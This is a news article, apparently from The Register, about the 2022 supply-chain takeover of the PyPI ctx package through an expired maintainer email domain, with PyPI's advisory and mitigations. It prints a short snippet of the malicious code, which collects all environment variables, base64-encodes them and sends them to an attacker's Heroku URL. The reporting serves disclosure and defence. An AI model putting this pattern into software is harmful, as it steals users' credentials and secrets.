This article is more than 1 year old

If you're using the ctx Python package, bad news: Vandal added info-stealing code

Domain associated with maintainer email expired, taken over in supply-chain attack

Updated The Python Package Index (PyPI), a repository for Python software libraries, has advised Python developers that the ctx package has been compromised.

Any installation of the software in the past ten days should be investigated to determine whether sensitive account identifiers stored in environment variables, such as cloud access keys, have been stolen.

The PyPI administrators estimate that about 27,000 malicious copies of ctx were downloaded from the registry since the rogue versions of ctx first appeared, starting around 19:18 UTC on May 14, 2022.

They add that a safe version of ctx (1.2) is a dependency of one other package, context engine. But more recent malicious versions of ctx don't appear as dependencies in any other packages analyzed by

"The ctx hosted project on PyPI was taken over via user account compromise and replaced with a malicious project which contained runtime code which collected the content of os.environ.items() when instantiating Ctx objects," the PyPI administrators explain in a security advisory published on Tuesday. "The captured environment variables were sent as a base64 encoded query parameter to a Heroku application running at h[xx]ps://"

That URL is not currently configured to respond to web requests via HTTP – presumably the app has been disabled or removed.

About half of Python libraries in PyPI may have security issues, boffins say


In a blog post on Tuesday, Internet Storm Center handler Yee Ching Tok observes that another (no longer accessible) project on GitHub – – contained the same malicious Heroku domain within its PHP code.

The ctx package, now removed from PyPI, is a Python library for accessing Python dictionaries using dot notation. It remained unchanged over the past eight years (as it remains on GitHub) until May 14, 2022. That's when the expired email domain ( administering the PyPI account was re-registered and taken over by an unknown attacker, a supply-chain attack strategy we've recently written about in the context of JavaScript registry NPM.

A Reddit post from three days ago that announced the arrival of the new version of ctx may be from an individual involved in the package subversion. At least that's the speculation of those responding to the now deleted initial post. The Register has emailed the individual in question – whose GitHub account includes security and hacking tools – to ask about this but we've not heard back.

The exfiltration code is unsophisticated, which could indicate that the attack is more exploratory than ill-intentioned. It iterates through the environmental variables stored on the victim's machine, encodes them as base64, and appends them to a Heroku app URL as query parameters.

class Ctx(dict):
    def __init__(self):
    def sendRequest(self):
        string = ""
        for _, value in os.environ.items():
            string += value+" "
        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')
        response = requests.get("hxxps://"+base64_message)

A post on Monday by a different Reddit user appears to be among the first to raise the alarm.

Those overseeing PyPI say domain takeovers represent a known attack vector and that PyPI's defense against this involves disabling "verified" email status – required to process a password update – if a PyPI email to the account bounces. But triggering de-verification requires PyPI to send an email inquiry to the expired domain between the time of expiration and the domain takeover. And that doesn't appear to have happened.

The Pythonistas note that they could perform this sort of analysis on an ongoing basis and freeze accounts associated with expired or nearly expired domains, but that this would be "at the cost of increased support burden on the team of PyPI moderators and admins."

The PyPI admins recommend enabling multi-factor authentication for PyPI accounts and using version-pinning and hash-checking mode for greater security. ®

Updated to add

The person who altered the contents of ctx has spoken out, saying they not only tampered with the Python library but also PHPass. The netizen said they got 1,000 environment variables from the vandalized dependencies, though insisted there was no malicious intent and that it was an attempt to demonstrate insecurities with third-party packages.


More about


Send us news

Other stories you might like